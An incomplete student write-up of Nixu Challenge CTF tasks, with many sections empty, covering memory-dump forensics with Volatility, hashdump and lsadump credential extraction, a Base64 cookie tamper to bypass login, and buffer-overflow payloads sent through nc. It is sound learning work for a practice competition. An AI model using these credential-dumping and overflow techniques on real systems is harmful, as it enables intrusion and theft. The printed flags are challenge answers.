

# Nixu Challenge

Patrick Richer St-Onge  
Linköping University  
Sweden  
patri111@student.liu.se

Erik Sandberg  
Linköping University  
Sweden  
erisa418@student.liu.se

## I. INTRODUCTION

## II. CHALLENGES

### A. AIMLES - staging

blabla

### B. L'aritmetico, Il geometrico, Il finito

blabla

### C. Bad memories - part 1

This is the first part of a five parts challenge on forensics, where it is needed to recover information from a memory dump. To analyse the memory dump, we use the Python tool **Volatility Framework**.

The first step is to find what type of operating system was the memory capture was done on, which we can find with the command **imageinfo**.

```
1 volatility -f mem.dmp imageinfo
```

We find that the memory dump is from a Windows 7 operating system. From there, we can list the processes that were active during the capture with either **pslist** or **pstree**.

```
1 volatility -f mem.dmp --profile=Win7SP1x64
  pslist
```

The first part tells to recover the user documentation, which would hints at a text editor. There is a **notepad.exe** process running with PID 700, so we dump the VADs (Virtual Address Descriptors) and look at the VAD tree to find memory regions of heap (in yellow).

```
1 volatility -f mem.dmp --profile=Win7SP1x64
  vaddump -p 700 -D ./vads/
2 volatility -f mem.dmp --profile=Win7SP1x64
  vadtrees --output=dot --output-file=./vads/
  graph.dot -p 700
```

To do that, we can use **strings** to find text in the heap memory.

```
1 strings -e 1 vads/notepad.exe.8c45060.0
  x0000000000390000-0x000000000048ffff.dmp
```

After looking through a few files, we can find the flag in ROT13.

```
1 AVKH{guvf_j4f_gu3_rnfl_bar}
2 NIXU{this_w4s_th3_easy_one}
```

### D. Bad memories - part 2

blabla

### E. Bad memories - part 3

blabla

### F. Bad memories - part 4

blabla

### G. Bad memories - part 5

In this part, the goal is to recover the user password from the system. We started with the **hashdump** command.

```
1 volatility -f mem.dmp --profile=Win7SP1x64
  hashdump
```

We get a list of the users and the NTLM hash of their password. We tried to reverse find the hash on a few online websites, but with no success. So, we try this second command **lsadump**, which extracts secret keys from the registry, such as the default password for Windows.

```
1 volatility -f mem.dmp --profile=Win7SP1x64
  lsadump
```

Indeed, in the default password key we can find the challenge flag.

```
1 NIXU{was_it_even_hard_for_you?}
```

### H. Exfiltration

blabla

### I. fridge 2.0

blabla

### J. lisby-1

blabla

*K. lisby-2*

blabla

*L. lisby-3*

blabla

*M. ACME Order DB*

The website in question is protected by a login page. After trying with credentials admin/admin, we can see that a cookie `sess` is created with a Base64 encoded value.

```
1 dXNlcm5hbWU9YWRTaW46OmxvZ2d1ZF9pbj1mYWxzZQ==
2 username=admin::logged_in=false
```

We change the value of `logged_in` to `true`, encode it and update the cookie. We are now logged in.

```
1 username=admin::logged_in=true
2 dXNlcm5hbWU9YWRTaW46OmxvZ2d1ZF9pbj10cnVl
```

In the source code of the webpage, we can see a reference to LDAP, which hints us at a LDAP injection.

```
1 <!-- Get documents from ldap! -->
```

*N. Device Control Pwnel*

There are two buffer overflow vulnerabilities in this challenge which is divided in two parts. The first part is a simple buffer overflow, where the program uses the secure function `fgets`, but with a value of 127 for the maximum number of character to read. The characters are stored in an array of 8 bytes, which allows us to overflow and write the value of the local variable `int id` to zero, which gives access the the admin menu and the first flag.

```
1 python -c 'print("ABCDEFGH\00\00\00\00\n8")' |
nc overflow.thenixuchallenge.com 20191
```

```
1 NIXU{pr3tty_simpl3_0v3rfl0w}
```

*O. Device Control Pwnel - part 2*

This is the second part of the buffer overflow challenge using the same C source code. The idea is similar, 256 bytes of inputs are allowed while the description field in the struct is of size 128 bytes. The array is copied using the unsecure funtion `strcpy` which allows us to write over the field `id` of the device struct. The goal is to write the device master ID `0x8100ca33c1ab7daf` to a device to get the flag. The only problem is that the number contains a null byte `\x00` which is the character that will cause `strcpy` to stop copying. Therefore, we need to first create a new device with the first part of the ID 81 and after edit the same device to add the rest of the ID `00ca33c1ab7daf`.

```
1 python -c 'print("2\n" + "name\n" + "A"
    "*128+"1234567\x81\n" + "3\n1\n" + "name\n"
    + "A"*128+"\xaf\x7d\xab\xcd\x33\xca\x00\n" +
    "1\n4")' | ./devices
```

```
1 NIXU{h0w_t0_d3al_w1th_null_byt3s\x00}
```

*P. Pad Practice*

blabla

*Q. Plumbing*

blabla

*R. Ports*

Based on the name of the challenge it seemed obvious that we should look into the port numbers. Using Wireshark we exported the port numbers from the pcap file into plain text.

```
1 tshark -r ports.pcap -T fields -e tcp.dstport >
ports.txt
```

We then tried to translate the decimal numbers to ASCII. The result looked like a typical base64 string, a good sign that we're on the right track.

```
1 QVZLSHtmbHpvYnlmX25hcV9haHpvcmVmX25lc19zaGFfZ2JfY3lubF9q
==
```

The formatting of the decoded base64 string assured us that we're almost done. Using ROT13, a version of the classic Caesar cipher, we recovered the key.

```
1 AVKH{flzobyf_naq_ahzoref_ner_sha_gb_cynl_jvgu}
2 NIXU{symbols_and_numbers_are_fun_to_play_with}
```

*S. Stowaway*

blabla

### III. CONCLUSION